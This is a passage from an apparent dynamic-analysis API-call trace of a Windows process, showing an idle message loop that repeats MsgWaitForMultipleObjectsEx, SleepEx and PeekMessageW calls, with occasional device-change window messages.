(nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0112.896] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0112.905] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0113.011] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0113.025] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0113.566] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0114.304] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0114.430] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0114.474] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0116.083] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0116.235] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0116.235] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0116.235] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0116.236] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0116.350] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0116.373] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0116.669] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0116.862] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0117.006] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0117.042] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0117.159] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0117.201] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0117.329] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0117.335] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0117.457] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0117.504] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0117.630] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0117.669] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0118.154] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0118.164] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0118.164] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0118.164] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0118.164] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0118.338] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0118.397] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0119.300] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0119.367] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0119.504] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0119.537] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0119.985] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0120.798] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0120.798] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0120.798] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0120.798] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0120.956] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0121.356] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0121.475] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0121.523] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0122.211] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0122.269] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0122.269] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0122.269] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0122.269] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0122.386] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0122.401] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0122.977] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0123.164] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0123.259] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0123.283] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0123.401] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0123.429] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0123.627] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0123.718] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0123.882] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0123.900] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0124.085] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0124.134] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0124.248] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0124.316] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0124.461] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0124.648] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0124.648] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0124.649] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0124.649] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0124.866] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0124.912] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0125.052] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0125.146] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0125.270] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0125.317] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0125.489] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0125.536] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0125.692] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0125.739] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0125.863] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0125.910] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0126.019] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0126.128] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0126.253] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0126.300] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0126.441] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0126.487] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0127.293] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0127.475] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0127.606] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0127.611] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0127.720] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0127.736] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0127.847] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0127.860] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0127.971] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0127.985] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0128.094] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0128.110] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0128.219] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0128.263] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0128.383] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0128.427] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0128.563] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0128.611] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0128.755] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0128.812] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0130.329] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0130.484] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0130.484] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0130.484] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0130.484] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0130.639] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0130.684] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0130.825] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0130.871] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0131.684] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0132.354] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0132.354] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0132.354] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0132.354] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0132.507] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0132.543] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0133.162] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0133.631] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0133.631] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0133.631] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0133.631] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0133.771] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0133.820] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0133.960] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0134.008] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0134.352] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0134.569] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0134.709] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0134.759] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0134.900] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0134.946] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0135.147] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0135.161] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0135.327] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0136.518] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0136.545] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0136.545] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0136.545] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0136.643] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0136.659] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0136.790] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0136.831] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0136.956] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0137.261] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0137.382] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0137.554] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0137.555] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0137.555] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0137.555] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0138.220] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0138.375] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0138.516] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0138.566] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0138.718] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0139.746] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0139.749] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0139.749] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0139.749] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0139.857] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0139.872] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0139.986] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0140.028] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0140.137] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0140.153] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0140.311] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0140.359] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0140.465] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0140.512] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0140.621] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0140.636] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0140.746] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0140.761] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0140.871] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0140.886] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0140.995] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0141.012] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0141.120] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0141.136] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0141.332] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0141.396] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0141.754] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0141.799] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0141.799] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0141.799] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0141.799] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0141.987] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0142.026] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0142.256] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0142.694] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0142.839] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0142.898] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0143.479] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0143.555] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0143.555] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0143.555] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0143.555] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0143.778] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0143.917] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0144.033] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0144.092] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0144.092] PeekMessageW (in: lpMsg=0x1ba3f0e8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1ba3f0e8) returned 0 [0144.092] NtdllDefWindowProc_W (hWnd=0x4011e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0144.092] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0144.473] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0144.535] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0144.673] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0144.742] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0144.944] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0144.989] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0145.117] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0145.161] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0145.301] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0145.348] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0145.457] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0145.528] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0145.660] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0145.706] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, 